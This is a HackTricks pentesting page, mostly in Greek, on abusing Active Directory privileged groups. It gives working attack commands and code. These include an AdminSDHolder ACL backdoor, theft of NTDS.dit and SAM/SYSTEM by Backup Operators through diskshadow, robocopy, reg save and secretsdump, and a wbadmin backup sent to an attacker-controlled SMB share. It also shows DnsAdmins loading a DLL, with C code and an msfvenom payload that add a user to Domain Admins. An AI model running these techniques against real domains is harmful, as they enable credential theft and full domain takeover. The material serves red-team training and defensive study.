hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

23 KiB
Raw Blame History

Privileged Groups

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Well Known groups with administration privileges

  • Διαχειριστές
  • Διαχειριστές Τομέα
  • Διαχειριστές Επιχείρησης

Account Operators

Αυτή η ομάδα έχει τη δυνατότητα να δημιουργεί λογαριασμούς και ομάδες που δεν είναι διαχειριστές στον τομέα. Επιπλέον, επιτρέπει το τοπικό login στον Domain Controller (DC).

Για να εντοπιστούν τα μέλη αυτής της ομάδας, εκτελείται η ακόλουθη εντολή:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Η προσθήκη νέων χρηστών επιτρέπεται, καθώς και η τοπική σύνδεση στο DC01.

Ομάδα AdminSDHolder

Η Λίστα Ελέγχου Πρόσβασης (ACL) της ομάδας AdminSDHolder είναι κρίσιμη καθώς καθορίζει τα δικαιώματα για όλες τις "προστατευμένες ομάδες" εντός του Active Directory, συμπεριλαμβανομένων των ομάδων υψηλών προνομίων. Αυτός ο μηχανισμός διασφαλίζει την ασφάλεια αυτών των ομάδων αποτρέποντας μη εξουσιοδοτημένες τροποποιήσεις.

Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό τροποποιώντας την ACL της ομάδας AdminSDHolder, παρέχοντας πλήρη δικαιώματα σε έναν τυπικό χρήστη. Αυτό θα έδινε ουσιαστικά σε αυτόν τον χρήστη πλήρη έλεγχο σε όλες τις προστατευμένες ομάδες. Εάν τα δικαιώματα αυτού του χρήστη τροποποιηθούν ή αφαιρεθούν, θα αποκατασταθούν αυτόματα εντός μιας ώρας λόγω του σχεδιασμού του συστήματος.

Οι εντολές για την ανασκόπηση των μελών και την τροποποίηση των δικαιωμάτων περιλαμβάνουν:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Ένα σενάριο είναι διαθέσιμο για να επιταχύνει τη διαδικασία αποκατάστασης: Invoke-ADSDPropagation.ps1.

Για περισσότερες λεπτομέρειες, επισκεφθείτε το ired.team.

AD Recycle Bin

Η συμμετοχή σε αυτή την ομάδα επιτρέπει την ανάγνωση διαγραμμένων αντικειμένων Active Directory, τα οποία μπορεί να αποκαλύψουν ευαίσθητες πληροφορίες:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Πρόσβαση στον Ελεγκτή Τομέα

Η πρόσβαση σε αρχεία στον DC είναι περιορισμένη εκτός αν ο χρήστης είναι μέλος της ομάδας Server Operators, η οποία αλλάζει το επίπεδο πρόσβασης.

Κλιμάκωση Δικαιωμάτων

Χρησιμοποιώντας το PsService ή το sc από τα Sysinternals, μπορεί κανείς να επιθεωρήσει και να τροποποιήσει τις άδειες υπηρεσιών. Η ομάδα Server Operators, για παράδειγμα, έχει πλήρη έλεγχο σε ορισμένες υπηρεσίες, επιτρέποντας την εκτέλεση αυθαίρετων εντολών και κλιμάκωση δικαιωμάτων:

C:\> .\PsService.exe security AppReadiness

Αυτή η εντολή αποκαλύπτει ότι οι Server Operators έχουν πλήρη πρόσβαση, επιτρέποντας τη χειραγώγηση υπηρεσιών για ανυψωμένα δικαιώματα.

Backup Operators

Η συμμετοχή στην ομάδα Backup Operators παρέχει πρόσβαση στο σύστημα αρχείων DC01 λόγω των δικαιωμάτων SeBackup και SeRestore. Αυτά τα δικαιώματα επιτρέπουν την περιήγηση σε φακέλους, την καταγραφή και την αντιγραφή αρχείων, ακόμη και χωρίς ρητές άδειες, χρησιμοποιώντας τη σημαία FILE_FLAG_BACKUP_SEMANTICS. Η χρήση συγκεκριμένων σεναρίων είναι απαραίτητη για αυτή τη διαδικασία.

Για να καταγράψετε τα μέλη της ομάδας, εκτελέστε:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Τοπική Επίθεση

Για να εκμεταλλευτείτε αυτά τα προνόμια τοπικά, χρησιμοποιούνται τα εξής βήματα:

  1. Εισαγωγή απαραίτητων βιβλιοθηκών:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Ενεργοποιήστε και επαληθεύστε το SeBackupPrivilege:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Πρόσβαση και αντιγραφή αρχείων από περιορισμένους καταλόγους, για παράδειγμα:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

Άμεση πρόσβαση στο σύστημα αρχείων του Domain Controller επιτρέπει την κλοπή της βάσης δεδομένων NTDS.dit, η οποία περιέχει όλους τους NTLM hashes για τους χρήστες και τους υπολογιστές του τομέα.

Using diskshadow.exe

  1. Δημιουργήστε μια σκιαγραφία του δίσκου C:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Αντιγράψτε το NTDS.dit από την αντίγραφο σκιάς:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Εναλλακτικά, χρησιμοποιήστε robocopy για την αντιγραφή αρχείων:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Εξαγωγή SYSTEM και SAM για την ανάκτηση κατακερματισμού:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Ανάκτηση όλων των κατακερματισμών από το NTDS.dit:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Χρησιμοποιώντας το wbadmin.exe

  1. Ρυθμίστε το σύστημα αρχείων NTFS για τον διακομιστή SMB στη μηχανή του επιτιθέμενου και αποθηκεύστε τα διαπιστευτήρια SMB στη στοχοθετημένη μηχανή.
  2. Χρησιμοποιήστε το wbadmin.exe για δημιουργία αντιγράφου ασφαλείας του συστήματος και εξαγωγή του NTDS.dit:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Για μια πρακτική επίδειξη, δείτε το DEMO VIDEO WITH IPPSEC.

DnsAdmins

Τα μέλη της ομάδας DnsAdmins μπορούν να εκμεταλλευτούν τα προνόμιά τους για να φορτώσουν μια αυθαίρετη DLL με προνόμια SYSTEM σε έναν διακομιστή DNS, που συχνά φιλοξενείται σε Domain Controllers. Αυτή η δυνατότητα επιτρέπει σημαντική δυνατότητα εκμετάλλευσης.

Για να καταγράψετε τα μέλη της ομάδας DnsAdmins, χρησιμοποιήστε:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Εκτέλεση αυθαίρετης DLL

Τα μέλη μπορούν να κάνουν τον διακομιστή DNS να φορτώσει μια αυθαίρετη DLL (είτε τοπικά είτε από μια απομακρυσμένη κοινή χρήση) χρησιμοποιώντας εντολές όπως:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Επαναλαμβάνοντας την υπηρεσία DNS (η οποία μπορεί να απαιτεί επιπλέον δικαιώματα) είναι απαραίτητο για να φορτωθεί το DLL:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Για περισσότερες λεπτομέρειες σχετικά με αυτό το επιθετικό διανύσμα, ανατρέξτε στο ired.team.

Mimilib.dll

Είναι επίσης εφικτό να χρησιμοποιηθεί το mimilib.dll για εκτέλεση εντολών, τροποποιώντας το για να εκτελεί συγκεκριμένες εντολές ή αντίστροφες θήκες. Δείτε αυτή την ανάρτηση για περισσότερες πληροφορίες.

WPAD Record για MitM

Οι DnsAdmins μπορούν να χειριστούν τα DNS records για να εκτελέσουν επιθέσεις Man-in-the-Middle (MitM) δημιουργώντας ένα WPAD record μετά την απενεργοποίηση της παγκόσμιας λίστας αποκλεισμού ερωτημάτων. Εργαλεία όπως το Responder ή το Inveigh μπορούν να χρησιμοποιηθούν για spoofing και καταγραφή δικτυακής κίνησης.

Event Log Readers

Τα μέλη μπορούν να έχουν πρόσβαση στα αρχεία καταγραφής γεγονότων, ενδεχομένως βρίσκοντας ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης σε απλή μορφή ή λεπτομέρειες εκτέλεσης εντολών:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

Αυτή η ομάδα μπορεί να τροποποιήσει τα DACLs στο αντικείμενο τομέα, πιθανώς παρέχοντας δικαιώματα DCSync. Οι τεχνικές για την κλιμάκωση προνομίων που εκμεταλλεύονται αυτή την ομάδα περιγράφονται στο αποθετήριο Exchange-AD-Privesc στο GitHub.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

Οι Διαχειριστές Hyper-V έχουν πλήρη πρόσβαση στο Hyper-V, η οποία μπορεί να εκμεταλλευτεί για να αποκτήσουν έλεγχο πάνω σε εικονικοποιημένους Ελεγκτές Τομέα. Αυτό περιλαμβάνει την κλωνοποίηση ζωντανών Ελεγκτών Τομέα και την εξαγωγή NTLM hashes από το αρχείο NTDS.dit.

Exploitation Example

Η Υπηρεσία Συντήρησης Mozilla του Firefox μπορεί να εκμεταλλευτεί από τους Διαχειριστές Hyper-V για να εκτελέσουν εντολές ως SYSTEM. Αυτό περιλαμβάνει τη δημιουργία σκληρού συνδέσμου σε ένα προστατευμένο αρχείο SYSTEM και την αντικατάστασή του με ένα κακόβουλο εκτελέσιμο:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Note: Η εκμετάλλευση σκληρών συνδέσμων έχει μετριαστεί σε πρόσφατες ενημερώσεις των Windows.

Οργάνωση Διαχείρισης

Σε περιβάλλοντα όπου έχει αναπτυχθεί το Microsoft Exchange, μια ειδική ομάδα γνωστή ως Οργάνωση Διαχείρισης κατέχει σημαντικές δυνατότητες. Αυτή η ομάδα έχει προνόμια να έχει πρόσβαση στα γραμματοκιβώτια όλων των χρηστών του τομέα και διατηρεί πλήρη έλεγχο πάνω στην Οργανωτική Μονάδα 'Microsoft Exchange Security Groups'. Αυτός ο έλεγχος περιλαμβάνει την ομάδα Exchange Windows Permissions, η οποία μπορεί να εκμεταλλευτεί για κλιμάκωση προνομίων.

Εκμετάλλευση Προνομίων και Εντολές

Εκτυπωτές

Τα μέλη της ομάδας Εκτυπωτές έχουν προικιστεί με αρκετά προνόμια, συμπεριλαμβανομένου του SeLoadDriverPrivilege, το οποίο τους επιτρέπει να συνδέονται τοπικά σε έναν Domain Controller, να τον απενεργοποιούν και να διαχειρίζονται εκτυπωτές. Για να εκμεταλλευτούν αυτά τα προνόμια, ειδικά αν το SeLoadDriverPrivilege δεν είναι ορατό σε ένα μη ανυψωμένο περιβάλλον, είναι απαραίτητο να παρακαμφθεί ο Έλεγχος Λογαριασμού Χρήστη (UAC).

Για να καταγραφούν τα μέλη αυτής της ομάδας, χρησιμοποιείται η ακόλουθη εντολή PowerShell:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Για πιο λεπτομερείς τεχνικές εκμετάλλευσης που σχετίζονται με SeLoadDriverPrivilege, θα πρέπει να συμβουλευτείτε συγκεκριμένους πόρους ασφαλείας.

Χρήστες Απομακρυσμένης Επιφάνειας Εργασίας

Τα μέλη αυτής της ομάδας έχουν πρόσβαση σε υπολογιστές μέσω του Πρωτοκόλλου Απομακρυσμένης Επιφάνειας Εργασίας (RDP). Για να καταμετρηθούν αυτά τα μέλη, είναι διαθέσιμες εντολές PowerShell:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Περισσότερες πληροφορίες σχετικά με την εκμετάλλευση του RDP μπορούν να βρεθούν σε ειδικούς πόρους pentesting.

Χρήστες Απομακρυσμένης Διαχείρισης

Τα μέλη μπορούν να έχουν πρόσβαση σε υπολογιστές μέσω Windows Remote Management (WinRM). Η καταμέτρηση αυτών των μελών επιτυγχάνεται μέσω:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Για τεχνικές εκμετάλλευσης που σχετίζονται με WinRM, θα πρέπει να συμβουλευτείτε συγκεκριμένη τεκμηρίωση.

Διαχειριστές Διακομιστών

Αυτή η ομάδα έχει δικαιώματα να εκτελεί διάφορες ρυθμίσεις στους Ελεγκτές Τομέα, συμπεριλαμβανομένων των δικαιωμάτων δημιουργίας αντιγράφων ασφαλείας και αποκατάστασης, αλλαγής της συστημικής ώρας και τερματισμού του συστήματος. Για να καταμετρήσετε τα μέλη, η εντολή που παρέχεται είναι:

Get-NetGroupMember -Identity "Server Operators" -Recurse

Αναφορές

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}